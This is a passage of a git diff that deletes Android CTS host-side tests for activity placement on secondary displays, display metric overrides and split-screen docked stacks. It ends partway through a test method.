-        assertEquals("Sizes of secondary display must not change after rotation of primary display",
-                initialSizes, testActivitySizes);
-    }
-
-    private void rotateAndCheckSameSizes(String activityName) throws Exception {
-        for (int rotation = 3; rotation >= 0; --rotation) {
-            final String logSeparator = clearLogcat();
-            setDeviceRotation(rotation);
-            final ReportedSizes rotatedSizes = getLastReportedSizesForActivity(activityName,
-                    logSeparator);
-            assertNull("Sizes must not change after rotation", rotatedSizes);
-        }
-    }
-
-    /**
-     * Tests that task affinity does affect what display an activity is launched on but that
-     * matching the task component root does.
-     */
-    public void testTaskMatchAcrossDisplays() throws Exception {
-        if (!supportsMultiDisplay()) { return; }
-
-        final DisplayState newDisplay = new VirtualDisplayBuilder(this).build();
-
-        launchActivityOnDisplay(LAUNCHING_ACTIVITY, newDisplay.mDisplayId);
-        mAmWmState.computeState(mDevice, new String[] {LAUNCHING_ACTIVITY});
-
-        // Check that activity is on the right display.
-        final int frontStackId = mAmWmState.getAmState().getFrontStackId(newDisplay.mDisplayId);
-        final ActivityManagerState.ActivityStack firstFrontStack =
-                mAmWmState.getAmState().getStackById(frontStackId);
-        assertEquals("Activity launched on secondary display must be resumed",
-                getActivityComponentName(LAUNCHING_ACTIVITY), firstFrontStack.mResumedActivity);
-        mAmWmState.assertFocusedStack("Focus must be on secondary display", frontStackId);
-
-        executeShellCommand("am start -n " + getActivityComponentName(ALT_LAUNCHING_ACTIVITY));
-        mAmWmState.waitForValidState(mDevice, new String[] {ALT_LAUNCHING_ACTIVITY},
-                null /* stackIds */, false /* compareTaskAndStackBounds */, componentName);
-
-        // The default display id for a 2d activity launch is vr virtual display for a vr headset.
-        final int displayId = getCurrentDefaultDisplayId();
-        // Check that second activity gets launched on the correct display
-        final int defaultDisplayFrontStackId = mAmWmState.getAmState().getFrontStackId(
-                displayId);
-        final ActivityManagerState.ActivityStack defaultDisplayFrontStack =
-                mAmWmState.getAmState().getStackById(defaultDisplayFrontStackId);
-        assertEquals("Activity launched on default display must be resumed",
-                getActivityComponentName(ALT_LAUNCHING_ACTIVITY),
-                defaultDisplayFrontStack.mResumedActivity);
-        mAmWmState.assertFocusedStack("Focus must be on primary display",
-                defaultDisplayFrontStackId);
-
-        executeShellCommand("am start -n " + getActivityComponentName(LAUNCHING_ACTIVITY));
-        final int stackId = mVrHeadset ? defaultDisplayFrontStackId : frontStackId;
-        final int focusedStackTaskCount = mVrHeadset ? 3 : 1;
-        mAmWmState.waitForFocusedStack(mDevice, stackId);
-
-        // Check that the third intent is redirected to the first task
-        final ActivityManagerState.ActivityStack secondFrontStack
-                = mAmWmState.getAmState().getStackById(stackId);
-        assertEquals("Activity launched on default display must be resumed",
-                getActivityComponentName(LAUNCHING_ACTIVITY), secondFrontStack.mResumedActivity);
-        mAmWmState.assertFocusedStack("Focus must be on primary display", stackId);
-        assertEquals("Focused stack must contain correct tasks",
-                focusedStackTaskCount, secondFrontStack.getTasks().size());
-        assertEquals("Focused task must only contain 1 activity",
-                1, secondFrontStack.getTasks().get(0).mActivities.size());
-    }
-
-    /**
-     * Tests than a new task launched by an activity will end up on that activity's display
-     * even if the focused stack is not on that activity's display.
-     */
-    public void testNewTaskSameDisplay() throws Exception {
-        if (!supportsMultiDisplay()) { return; }
-
-        final DisplayState newDisplay = new VirtualDisplayBuilder(this).setSimulateDisplay(true)
-                .build();
-
-        launchActivityOnDisplay(BROADCAST_RECEIVER_ACTIVITY, newDisplay.mDisplayId);
-        mAmWmState.computeState(mDevice, new String[] {BROADCAST_RECEIVER_ACTIVITY});
-
-        // Check that the first activity is launched onto the secondary display
-        final int frontStackId = mAmWmState.getAmState().getFrontStackId(newDisplay.mDisplayId);
-        final ActivityManagerState.ActivityStack firstFrontStack =
-                mAmWmState.getAmState().getStackById(frontStackId);
-        assertEquals("Activity launched on secondary display must be resumed",
-                getActivityComponentName(BROADCAST_RECEIVER_ACTIVITY),
-                firstFrontStack.mResumedActivity);
-        mAmWmState.assertFocusedStack("Focus must be on secondary display", frontStackId);
-
-        executeShellCommand("am start -n " + getActivityComponentName(TEST_ACTIVITY_NAME));
-        mAmWmState.waitForValidState(mDevice, new String[] {TEST_ACTIVITY_NAME},
-                null /* stackIds */, false /* compareTaskAndStackBounds */, componentName);
-
-        // Check that the second activity is launched on the default display
-        final int focusedStackId = mAmWmState.getAmState().getFocusedStackId();
-        final ActivityManagerState.ActivityStack focusedStack
-                = mAmWmState.getAmState().getStackById(focusedStackId);
-        assertEquals("Activity launched on default display must be resumed",
-                getActivityComponentName(TEST_ACTIVITY_NAME), focusedStack.mResumedActivity);
-        // The default display id for a 2d activity launch is vr virtual display for a vr headset.
-        int displayId = getCurrentDefaultDisplayId();
-        assertEquals("Focus must be on the correct display", displayId,
-                focusedStack.mDisplayId);
-
-        executeShellCommand("am broadcast -a trigger_broadcast --ez launch_activity true "
-                + "--ez new_task true --es target_activity " + LAUNCHING_ACTIVITY);
-
-        // Check that the third activity ends up in a new task in the same stack as the
-        // first activity
-        mAmWmState.waitForValidState(mDevice, new String[] {LAUNCHING_ACTIVITY},
-                null /* stackIds */, false /* compareTaskAndStackBounds */, componentName);
-
-        int stackId = mAmWmState.getAmState().getFrontStackId(displayId);
-        mAmWmState.assertFocusedStack("Focus must be on secondary display", stackId);
-        final ActivityManagerState.ActivityStack secondFrontStack =
-                mAmWmState.getAmState().getStackById(stackId);
-        assertEquals("Activity must be launched on secondary display",
-                getActivityComponentName(LAUNCHING_ACTIVITY),
-                secondFrontStack.mResumedActivity);
-        final int taskCount = mVrHeadset ? 3 : 2;
-        assertEquals("Secondary display must contain correct tasks",
-                taskCount, secondFrontStack.getTasks().size());
-    }
-
-    /**
-     * Test that display overrides apply correctly and won't be affected by display changes.
-     * This sets overrides to display size and density, initiates a display changed event by locking
-     * and unlocking the phone and verifies that overrides are kept.
-     */
-    @Presubmit
-    public void testForceDisplayMetrics() throws Exception {
-        launchHomeActivity();
-
-        // Read initial sizes.
-        final ReportedDisplayMetrics originalDisplayMetrics = getDisplayMetrics();
-
-        // Apply new override values that don't match the physical metrics.
-        final int overrideWidth = (int) (originalDisplayMetrics.physicalWidth * 1.5);
-        final int overrideHeight = (int) (originalDisplayMetrics.physicalHeight * 1.5);
-        executeShellCommand(WM_SIZE + " " + overrideWidth + "x" + overrideHeight);
-        final int overrideDensity = (int) (originalDisplayMetrics.physicalDensity * 1.1);
-        executeShellCommand(WM_DENSITY + " " + overrideDensity);
-
-        // Check if overrides applied correctly.
-        ReportedDisplayMetrics displayMetrics = getDisplayMetrics();
-        assertEquals(overrideWidth, displayMetrics.overrideWidth);
-        assertEquals(overrideHeight, displayMetrics.overrideHeight);
-        assertEquals(overrideDensity, displayMetrics.overrideDensity);
-
-        // Lock and unlock device. This will cause a DISPLAY_CHANGED event to be triggered and
-        // might update the metrics.
-        sleepDevice();
-        wakeUpAndUnlockDevice();
-        mAmWmState.waitForHomeActivityVisible(mDevice);
-
-        // Check if overrides are still applied.
-        displayMetrics = getDisplayMetrics();
-        assertEquals(overrideWidth, displayMetrics.overrideWidth);
-        assertEquals(overrideHeight, displayMetrics.overrideHeight);
-        assertEquals(overrideDensity, displayMetrics.overrideDensity);
-
-        // All overrides will be cleared in tearDown.
-    }
-
-    /**
-     * Tests than an immediate launch after new display creation is handled correctly.
-     */
-    public void testImmediateLaunchOnNewDisplay() throws Exception {
-        if (!supportsMultiDisplay()) { return; }
-
-        // Create new virtual display and immediately launch an activity on it.
-        final DisplayState newDisplay = new VirtualDisplayBuilder(this)
-                .setLaunchActivity(TEST_ACTIVITY_NAME).build();
-
-        // Check that activity is launched and placed correctly.
-        mAmWmState.waitForActivityState(mDevice, TEST_ACTIVITY_NAME, STATE_RESUMED);
-        mAmWmState.assertResumedActivity("Test activity must be launched on a new display",
-                TEST_ACTIVITY_NAME);
-        final int frontStackId = mAmWmState.getAmState().getFrontStackId(newDisplay.mDisplayId);
-        final ActivityManagerState.ActivityStack firstFrontStack =
-                mAmWmState.getAmState().getStackById(frontStackId);
-        assertEquals("Activity launched on secondary display must be resumed",
-                getActivityComponentName(TEST_ACTIVITY_NAME), firstFrontStack.mResumedActivity);
-        mAmWmState.assertFocusedStack("Focus must be on secondary display", frontStackId);
-    }
-
-    /**
-     * Tests that turning the primary display off does not affect the activity running
-     * on an external secondary display.
-     */
-    public void testExternalDisplayActivityTurnPrimaryOff() throws Exception {
-        if (!supportsMultiDisplay()) { return; }
-
-        // Launch something on the primary display so we know there is a resumed activity there
-        launchActivity(RESIZEABLE_ACTIVITY_NAME);
-        waitAndAssertActivityResumed(RESIZEABLE_ACTIVITY_NAME, DEFAULT_DISPLAY_ID,
-                "Activity launched on primary display must be resumed");
-
-        final DisplayState newDisplay = createExternalVirtualDisplay(
-                true /* showContentWhenLocked */);
-
-        launchActivityOnDisplay(TEST_ACTIVITY_NAME, newDisplay.mDisplayId);
-
-        // Check that the activity is launched onto the external display
-        waitAndAssertActivityResumed(TEST_ACTIVITY_NAME, newDisplay.mDisplayId,
-                "Activity launched on external display must be resumed");
-
-        setPrimaryDisplayState(false);
-
-        // Wait for the fullscreen stack to start sleeping, and then make sure the
-        // test activity is still resumed. Note that on some devices, the top activity may go to
-        // the stopped state by itself on sleep, causing the server side to believe it is still
-        // paused.
-        waitAndAssertActivityPausedOrStopped(RESIZEABLE_ACTIVITY_NAME,
-                "Activity launched on primary display must be stopped or paused after turning off");
-        waitAndAssertActivityResumed(TEST_ACTIVITY_NAME, newDisplay.mDisplayId,
-                "Activity launched on external display must be resumed");
-    }
-
-    /**
-     * Tests that an activity can be launched on a secondary display while the primary
-     * display is off.
-     */
-    public void testLaunchExternalDisplayActivityWhilePrimaryOff() throws Exception {
-        if (!supportsMultiDisplay()) { return; }
-
-        // Launch something on the primary display so we know there is a resumed activity there
-        launchActivity(RESIZEABLE_ACTIVITY_NAME);
-        waitAndAssertActivityResumed(RESIZEABLE_ACTIVITY_NAME, DEFAULT_DISPLAY_ID,
-                "Activity launched on primary display must be resumed");
-
-        setPrimaryDisplayState(false);
-
-        // Make sure there is no resumed activity when the primary display is off
-        waitAndAssertActivityStopped(RESIZEABLE_ACTIVITY_NAME,
-                "Activity launched on primary display must be stopped after turning off");
-        assertEquals("Unexpected resumed activity",
-                0, mAmWmState.getAmState().getResumedActivitiesCount());
-
-        final DisplayState newDisplay = createExternalVirtualDisplay(
-                true /* showContentWhenLocked */);
-
-        launchActivityOnDisplay(TEST_ACTIVITY_NAME, newDisplay.mDisplayId);
-
-        // Check that the test activity is resumed on the external display
-        waitAndAssertActivityResumed(TEST_ACTIVITY_NAME, newDisplay.mDisplayId,
-                "Activity launched on external display must be resumed");
-    }
-
-    /**
-     * Tests that turning the secondary display off stops activities running on that display.
-     */
-    public void testExternalDisplayToggleState() throws Exception {
-        if (!supportsMultiDisplay()) { return; }
-
-        final DisplayState newDisplay = createExternalVirtualDisplay(
-                false /* showContentWhenLocked */);
-
-        launchActivityOnDisplay(TEST_ACTIVITY_NAME, newDisplay.mDisplayId);
-
-        // Check that the test activity is resumed on the external display
-        waitAndAssertActivityResumed(TEST_ACTIVITY_NAME, newDisplay.mDisplayId,
-                "Activity launched on external display must be resumed");
-
-        mExternalDisplayHelper.turnDisplayOff();
-
-        // Check that turning off the external display stops the activity
-        waitAndAssertActivityStopped(TEST_ACTIVITY_NAME,
-                "Activity launched on external display must be stopped after turning off");
-
-        mExternalDisplayHelper.turnDisplayOn();
-
-        // Check that turning on the external display resumes the activity
-        waitAndAssertActivityResumed(TEST_ACTIVITY_NAME, newDisplay.mDisplayId,
-                "Activity launched on external display must be resumed");
-    }
-
-    /**
-     * Tests that tapping on the primary display after showing the keyguard resumes the
-     * activity on the primary display.
-     */
-    public void testStackFocusSwitchOnTouchEventAfterKeyguard() throws Exception {
-        if (!supportsMultiDisplay()) { return; }
-
-        // Launch something on the primary display so we know there is a resumed activity there
-        launchActivity(RESIZEABLE_ACTIVITY_NAME);
-        waitAndAssertActivityResumed(RESIZEABLE_ACTIVITY_NAME, DEFAULT_DISPLAY_ID,
-                "Activity launched on primary display must be resumed");
-
-        sleepDevice();
-
-        // Make sure there is no resumed activity when the primary display is off
-        waitAndAssertActivityStopped(RESIZEABLE_ACTIVITY_NAME,
-                "Activity launched on primary display must be stopped after turning off");
-        assertEquals("Unexpected resumed activity",
-                0, mAmWmState.getAmState().getResumedActivitiesCount());
-
-        final DisplayState newDisplay = createExternalVirtualDisplay(
-                true /* showContentWhenLocked */);
-
-        launchActivityOnDisplay(TEST_ACTIVITY_NAME, newDisplay.mDisplayId);
-
-        // Check that the test activity is resumed on the external display
-        waitAndAssertActivityResumed(TEST_ACTIVITY_NAME, newDisplay.mDisplayId,
-                "Activity launched on external display must be resumed");
-
-        // Unlock the device and tap on the middle of the primary display
-        wakeUpDevice();
-        executeShellCommand("wm dismiss-keyguard");
-        final ReportedDisplayMetrics displayMetrics = getDisplayMetrics();
-        final int width = displayMetrics.getWidth();
-        final int height = displayMetrics.getHeight();
-        executeShellCommand("input tap " + (width / 2) + " " + (height / 2));
-
-        // Check that the activity on the primary display is resumed
-        waitAndAssertActivityResumed(RESIZEABLE_ACTIVITY_NAME, DEFAULT_DISPLAY_ID,
-                "Activity launched on primary display must be resumed");
-        assertEquals("Unexpected resumed activity",
-                1, mAmWmState.getAmState().getResumedActivitiesCount());
-    }
-
-    private void waitAndAssertActivityResumed(String activityName, int displayId, String message)
-            throws Exception {
-        mAmWmState.waitForActivityState(mDevice, activityName, STATE_RESUMED);
-
-        final String fullActivityName = getActivityComponentName(activityName);
-        assertEquals(message, fullActivityName, mAmWmState.getAmState().getResumedActivity());
-        final int frontStackId = mAmWmState.getAmState().getFrontStackId(displayId);
-        ActivityManagerState.ActivityStack firstFrontStack =
-                mAmWmState.getAmState().getStackById(frontStackId);
-        assertEquals(message, fullActivityName, firstFrontStack.mResumedActivity);
-        assertTrue(message,
-                mAmWmState.getAmState().hasActivityState(activityName, STATE_RESUMED));
-        mAmWmState.assertFocusedStack("Focus must be on external display", frontStackId);
-        mAmWmState.assertVisibility(activityName, true /* visible */);
-    }
-
-    private void waitAndAssertActivityStopped(String activityName, String message)
-            throws Exception {
-        waitAndAssertActivityState(activityName, message, STATE_STOPPED);
-    }
-
-    private void waitAndAssertActivityPausedOrStopped(String activityName, String message)
-            throws Exception {
-        waitAndAssertActivityState(activityName, message, STATE_PAUSED, STATE_STOPPED);
-    }
-
-    private void waitAndAssertActivityState(String activityName, String message, String... states)
-            throws Exception {
-        mAmWmState.waitForActivityState(mDevice, activityName, states);
-
-        boolean stateFound = false;
-
-        for (String state : states) {
-            if (mAmWmState.getAmState().hasActivityState(activityName, state)) {
-                stateFound = true;
-                break;
-            }
-        }
-
-        assertTrue(message, stateFound);
-    }
-
-    /**
-     * Tests that showWhenLocked works on a secondary display.
-     */
-    public void testSecondaryDisplayShowWhenLocked() throws Exception {
-        if (!supportsMultiDisplay()) { return; }
-
-        try {
-            setLockCredential();
-
-            launchActivity(TEST_ACTIVITY_NAME);
-
-            final DisplayState newDisplay = createExternalVirtualDisplay(
-                    false /* showContentWhenLocked */);
-            launchActivityOnDisplay(SHOW_WHEN_LOCKED_ATTR_ACTIVITY_NAME, newDisplay.mDisplayId);
-
-            gotoKeyguard();
-            mAmWmState.waitForKeyguardShowingAndNotOccluded(mDevice);
-
-            mAmWmState.waitForActivityState(mDevice, TEST_ACTIVITY_NAME, STATE_STOPPED);
-            mAmWmState.waitForActivityState(
-                    mDevice, SHOW_WHEN_LOCKED_ATTR_ACTIVITY_NAME, STATE_RESUMED);
-
-            mAmWmState.computeState(mDevice, new String[] { SHOW_WHEN_LOCKED_ATTR_ACTIVITY_NAME });
-            assertTrue("Expected resumed activity on secondary display", mAmWmState.getAmState()
-                    .hasActivityState(SHOW_WHEN_LOCKED_ATTR_ACTIVITY_NAME, STATE_RESUMED));
-        } finally {
-            tearDownLockCredentials();
-        }
-    }
-
-    /** Get physical and override display metrics from WM. */
-    private ReportedDisplayMetrics getDisplayMetrics() throws Exception {
-        mDumpLines.clear();
-        final CollectingOutputReceiver outputReceiver = new CollectingOutputReceiver();
-        mDevice.executeShellCommand(WM_SIZE, outputReceiver);
-        mDevice.executeShellCommand(WM_DENSITY, outputReceiver);
-        final String dump = outputReceiver.getOutput();
-        mDumpLines.clear();
-        Collections.addAll(mDumpLines, dump.split("\\n"));
-        return ReportedDisplayMetrics.create(mDumpLines);
-    }
-
-    private static class ReportedDisplayMetrics {
-        private static final Pattern sPhysicalSizePattern =
-                Pattern.compile("Physical size: (\\d+)x(\\d+)");
-        private static final Pattern sOverrideSizePattern =
-                Pattern.compile("Override size: (\\d+)x(\\d+)");
-        private static final Pattern sPhysicalDensityPattern =
-                Pattern.compile("Physical density: (\\d+)");
-        private static final Pattern sOverrideDensityPattern =
-                Pattern.compile("Override density: (\\d+)");
-
-        int physicalWidth;
-        int physicalHeight;
-        int physicalDensity;
-
-        boolean sizeOverrideSet;
-        int overrideWidth;
-        int overrideHeight;
-        boolean densityOverrideSet;
-        int overrideDensity;
-
-        /** Get width that WM operates with. */
-        int getWidth() {
-            return sizeOverrideSet ? overrideWidth : physicalWidth;
-        }
-
-        /** Get height that WM operates with. */
-        int getHeight() {
-            return sizeOverrideSet ? overrideHeight : physicalHeight;
-        }
-
-        /** Get density that WM operates with. */
-        int getDensity() {
-            return densityOverrideSet ? overrideDensity : physicalDensity;
-        }
-
-        static ReportedDisplayMetrics create(LinkedList<String> dump) {
-            final ReportedDisplayMetrics result = new ReportedDisplayMetrics();
-
-            boolean physicalSizeFound = false;
-            boolean physicalDensityFound = false;
-
-            while (!dump.isEmpty()) {
-                final String line = dump.pop().trim();
-
-                Matcher matcher = sPhysicalSizePattern.matcher(line);
-                if (matcher.matches()) {
-                    physicalSizeFound = true;
-                    log(line);
-                    result.physicalWidth = Integer.parseInt(matcher.group(1));
-                    result.physicalHeight = Integer.parseInt(matcher.group(2));
-                    continue;
-                }
-
-                matcher = sOverrideSizePattern.matcher(line);
-                if (matcher.matches()) {
-                    log(line);
-                    result.overrideWidth = Integer.parseInt(matcher.group(1));
-                    result.overrideHeight = Integer.parseInt(matcher.group(2));
-                    result.sizeOverrideSet = true;
-                    continue;
-                }
-
-                matcher = sPhysicalDensityPattern.matcher(line);
-                if (matcher.matches()) {
-                    physicalDensityFound = true;
-                    log(line);
-                    result.physicalDensity = Integer.parseInt(matcher.group(1));
-                    continue;
-                }
-
-                matcher = sOverrideDensityPattern.matcher(line);
-                if (matcher.matches()) {
-                    log(line);
-                    result.overrideDensity = Integer.parseInt(matcher.group(1));
-                    result.densityOverrideSet = true;
-                    continue;
-                }
-            }
-
-            assertTrue("Physical display size must be reported", physicalSizeFound);
-            assertTrue("Physical display density must be reported", physicalDensityFound);
-
-            return result;
-        }
-    }
-
-    /** Assert that component received onMovedToDisplay and onConfigurationChanged callbacks. */
-    private void assertMovedToDisplay(String componentName, String logSeparator) throws Exception {
-        final ActivityLifecycleCounts lifecycleCounts
-                = new ActivityLifecycleCounts(componentName, logSeparator);
-        if (lifecycleCounts.mDestroyCount != 0) {
-            fail(componentName + " has been destroyed " + lifecycleCounts.mDestroyCount
-                    + " time(s), wasn't expecting any");
-        } else if (lifecycleCounts.mCreateCount != 0) {
-            fail(componentName + " has been (re)created " + lifecycleCounts.mCreateCount
-                    + " time(s), wasn't expecting any");
-        } else if (lifecycleCounts.mConfigurationChangedCount != 1) {
-            fail(componentName + " has received "
-                    + lifecycleCounts.mConfigurationChangedCount
-                    + " onConfigurationChanged() calls, expecting " + 1);
-        } else if (lifecycleCounts.mMovedToDisplayCount != 1) {
-            fail(componentName + " has received "
-                    + lifecycleCounts.mMovedToDisplayCount
-                    + " onMovedToDisplay() calls, expecting " + 1);
-        }
-    }
-
-    private static String getResizeVirtualDisplayCommand() {
-        return getAmStartCmd(VIRTUAL_DISPLAY_ACTIVITY) + " -f 0x20000000" +
-                " --es command resize_display";
-    }
-
-    /**
-     * Creates a private virtual display with the external and show with insecure
-     * keyguard flags set.
-     */
-    private DisplayState createExternalVirtualDisplay(boolean showContentWhenLocked)
-            throws Exception {
-        final ReportedDisplays originalDS = getDisplaysStates();
-        final int originalDisplayCount = originalDS.getNumberOfDisplays();
-
-        mExternalDisplayHelper = new DisplayHelper(getDevice());
-        mExternalDisplayHelper.createAndWaitForDisplay(true /* external */, showContentWhenLocked);
-
-        // Wait for the virtual display to be created and get configurations.
-        final ReportedDisplays ds =
-                getDisplayStateAfterChange(originalDisplayCount + 1);
-        assertEquals("New virtual display must be created",
-                originalDisplayCount + 1, ds.getNumberOfDisplays());
-
-        // Find the newly added display.
-        final List<DisplayState> newDisplays = findNewDisplayStates(originalDS, ds);
-        return newDisplays.get(0);
-    }
-
-    /** Turns the primary display on/off by pressing the power key */
-    private void setPrimaryDisplayState(boolean wantOn) throws DeviceNotAvailableException {
-        // Either KeyEvent.KEYCODE_WAKEUP or KeyEvent.KEYCODE_SLEEP
-        int keycode = wantOn ? 224 : 223;
-        getDevice().executeShellCommand("input keyevent " + keycode);
-        DisplayHelper.waitForDefaultDisplayState(getDevice(), wantOn);
-    }
-}
diff --git a/hostsidetests/services/activityandwindowmanager/activitymanager/src/android/server/cts/ActivityManagerDockedStackTests.java b/hostsidetests/services/activityandwindowmanager/activitymanager/src/android/server/cts/ActivityManagerDockedStackTests.java
deleted file mode 100644
index cf3540c..0000000
--- a/hostsidetests/services/activityandwindowmanager/activitymanager/src/android/server/cts/ActivityManagerDockedStackTests.java
+++ /dev/null
@@ -1,608 +0,0 @@
-/*
- * Copyright (C) 2015 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.server.cts;
-
-import com.android.ddmlib.Log.LogLevel;
-import com.android.tradefed.log.LogUtil.CLog;
-
-import java.awt.Rectangle;
-
-import static android.server.cts.WindowManagerState.TRANSIT_WALLPAPER_OPEN;
-
-/**
- * Build: mmma -j32 cts/hostsidetests/services
- * Run: cts/hostsidetests/services/activityandwindowmanager/util/run-test CtsServicesHostTestCases android.server.cts.ActivityManagerDockedStackTests
- */
-public class ActivityManagerDockedStackTests extends ActivityManagerTestBase {
-
-    private static final String TEST_ACTIVITY_NAME = "TestActivity";
-    private static final String FINISHABLE_ACTIVITY_NAME = "FinishableActivity";
-    private static final String NON_RESIZEABLE_ACTIVITY_NAME = "NonResizeableActivity";
-    private static final String DOCKED_ACTIVITY_NAME = "DockedActivity";
-    private static final String NO_RELAUNCH_ACTIVITY_NAME = "NoRelaunchActivity";
-    private static final String SINGLE_INSTANCE_ACTIVITY_NAME = "SingleInstanceActivity";
-    private static final String SINGLE_TASK_ACTIVITY_NAME = "SingleTaskActivity";
-
-    private static final int TASK_SIZE = 600;
-    private static final int STACK_SIZE = 300;
-
-    public void testMinimumDeviceSize() throws Exception {
-        if (!supportsSplitScreenMultiWindow()) {
-            CLog.logAndDisplay(LogLevel.INFO, "Skipping test: no split multi-window support");
-            return;
-        }
-
-        mAmWmState.assertDeviceDefaultDisplaySize(mDevice,
-                "Devices supporting multi-window must be larger than the default minimum"
-                        + " task size");
-    }
-
-    public void testStackList() throws Exception {
-        if (!supportsSplitScreenMultiWindow()) {
-            CLog.logAndDisplay(LogLevel.INFO, "Skipping test: no split multi-window support");
-            return;
-        }
-
-        launchActivity(TEST_ACTIVITY_NAME);
-        mAmWmState.computeState(mDevice, new String[] {TEST_ACTIVITY_NAME});
-        mAmWmState.assertContainsStack("Must contain home stack.", HOME_STACK_ID);
-        mAmWmState.assertContainsStack(
-                "Must contain fullscreen stack.", FULLSCREEN_WORKSPACE_STACK_ID);
-        mAmWmState.assertDoesNotContainStack("Must not contain docked stack.", DOCKED_STACK_ID);
-    }
-
-    public void testDockActivity() throws Exception {
-        if (!supportsSplitScreenMultiWindow()) {
-            CLog.logAndDisplay(LogLevel.INFO, "Skipping test: no split multi-window support");
-            return;
-        }
-
-        launchActivityInDockStack(TEST_ACTIVITY_NAME);
-        mAmWmState.computeState(mDevice, new String[] {TEST_ACTIVITY_NAME});
-        mAmWmState.assertContainsStack("Must contain home stack.", HOME_STACK_ID);
-        mAmWmState.assertContainsStack("Must contain docked stack.", DOCKED_STACK_ID);
-    }
-
-    public void testNonResizeableNotDocked() throws Exception {
-        if (!supportsSplitScreenMultiWindow()) {
-            CLog.logAndDisplay(LogLevel.INFO, "Skipping test: no split multi-window support");
-            return;
-        }
-
-        launchActivityInDockStack(NON_RESIZEABLE_ACTIVITY_NAME);
-        mAmWmState.computeState(mDevice, new String[] {NON_RESIZEABLE_ACTIVITY_NAME});
-
-        mAmWmState.assertContainsStack("Must contain home stack.", HOME_STACK_ID);
-        mAmWmState.assertDoesNotContainStack("Must not contain docked stack.", DOCKED_STACK_ID);
-        mAmWmState.assertFrontStack(
-                "Fullscreen stack must be front stack.", FULLSCREEN_WORKSPACE_STACK_ID);
-    }
-
-    public void testLaunchToSide() throws Exception {
-        if (!supportsSplitScreenMultiWindow()) {
-            CLog.logAndDisplay(LogLevel.INFO, "Skipping test: no split multi-window support");
-            return;
-        }
-
-        launchActivityInDockStack(LAUNCHING_ACTIVITY);
-        mAmWmState.computeState(mDevice, new String[] {LAUNCHING_ACTIVITY});
-        getLaunchActivityBuilder().setToSide(true).execute();
-        mAmWmState.computeState(mDevice, new String[] {TEST_ACTIVITY_NAME});
-        mAmWmState.assertContainsStack(
-                "Must contain fullscreen stack.", FULLSCREEN_WORKSPACE_STACK_ID);
-        mAmWmState.assertContainsStack("Must contain docked stack.", DOCKED_STACK_ID);
-    }
-
-    public void testLaunchToSideMultiWindowCallbacks() throws Exception {
-        if (!supportsSplitScreenMultiWindow()) {
-            CLog.logAndDisplay(LogLevel.INFO, "Skipping test: no split multi-window support");
-            return;
-        }
-
-        // Launch two activities, one docked, one adjacent
-        launchActivityInDockStack(LAUNCHING_ACTIVITY);
-        mAmWmState.computeState(mDevice, new String[] {LAUNCHING_ACTIVITY});
-        getLaunchActivityBuilder().setToSide(true).execute();
-        mAmWmState.computeState(mDevice, new String[] {TEST_ACTIVITY_NAME});
-        mAmWmState.assertContainsStack(
-                "Must contain fullscreen stack.", FULLSCREEN_WORKSPACE_STACK_ID);
-        mAmWmState.assertContainsStack("Must contain docked stack.", DOCKED_STACK_ID);
-
-        // Remove the docked stack, and ensure that
-        final String logSeparator = clearLogcat();
-        removeStacks(DOCKED_STACK_ID);
-        final ActivityLifecycleCounts lifecycleCounts = new ActivityLifecycleCounts(
-                TEST_ACTIVITY_NAME, logSeparator);
-        if (lifecycleCounts.mMultiWindowModeChangedCount != 1) {
-            fail(TEST_ACTIVITY_NAME + " has received "
-                    + lifecycleCounts.mMultiWindowModeChangedCount
-                    + " onMultiWindowModeChanged() calls, expecting 1");
-        }
-    }
-
-    public void testLaunchToSideAndBringToFront() throws Exception {
-        if (!supportsSplitScreenMultiWindow()) {
-            CLog.logAndDisplay(LogLevel.INFO, "Skipping test: no split multi-window support");
-            return;
-        }
-
-        launchActivityInDockStack(LAUNCHING_ACTIVITY);
-        final String[] waitForFirstVisible = new String[] {TEST_ACTIVITY_NAME};
-        final String[] waitForSecondVisible = new String[] {NO_RELAUNCH_ACTIVITY_NAME};
-        mAmWmState.computeState(mDevice, new String[] {LAUNCHING_ACTIVITY});
-
-        // Launch activity to side.
-        getLaunchActivityBuilder().setToSide(true).execute();
-        mAmWmState.computeState(mDevice, waitForFirstVisible);
-        int taskNumberInitial = mAmWmState.getAmState().getStackById(FULLSCREEN_WORKSPACE_STACK_ID)
-                .getTasks().size();
-        mAmWmState.assertFocusedActivity("Launched to side activity must be in front.",
-                TEST_ACTIVITY_NAME);
-
-        // Launch another activity to side to cover first one.
-        launchActivityInStack(NO_RELAUNCH_ACTIVITY_NAME, FULLSCREEN_WORKSPACE_STACK_ID);
-        mAmWmState.computeState(mDevice, waitForSecondVisible);
-        int taskNumberCovered = mAmWmState.getAmState().getStackById(FULLSCREEN_WORKSPACE_STACK_ID)
-                .getTasks().size();
-        mAmWmState.assertEquals("Fullscreen stack must have one task added.",
-                taskNumberInitial + 1, taskNumberCovered);
-        mAmWmState.assertFocusedActivity("Launched to side covering activity must be in front.",
-                NO_RELAUNCH_ACTIVITY_NAME);
-
-        // Launch activity that was first launched to side. It should be brought to front.
-        getLaunchActivityBuilder().setToSide(true).execute();
-        mAmWmState.computeState(mDevice, waitForFirstVisible);
-        int taskNumberFinal = mAmWmState.getAmState().getStackById(FULLSCREEN_WORKSPACE_STACK_ID)
-                .getTasks().size();
-        mAmWmState.assertEquals("Task number in fullscreen stack must remain the same.",
-                taskNumberCovered, taskNumberFinal);
-        mAmWmState.assertFocusedActivity("Launched to side covering activity must be in front.",
-                TEST_ACTIVITY_NAME);
-    }
-
-    public void testLaunchToSideMultiple() throws Exception {
-        if (!supportsSplitScreenMultiWindow()) {
-            CLog.logAndDisplay(LogLevel.INFO, "Skipping test: no split multi-window support");
-            return;
-        }
-
-        launchActivityInDockStack(LAUNCHING_ACTIVITY);
-        mAmWmState.computeState(mDevice, new String[] {LAUNCHING_ACTIVITY});
-        final String[] waitForActivitiesVisible =
-            new String[] {TEST_ACTIVITY_NAME, LAUNCHING_ACTIVITY};
-
-        // Launch activity to side.
-        getLaunchActivityBuilder().setToSide(true).execute();
-        mAmWmState.computeState(mDevice, waitForActivitiesVisible);
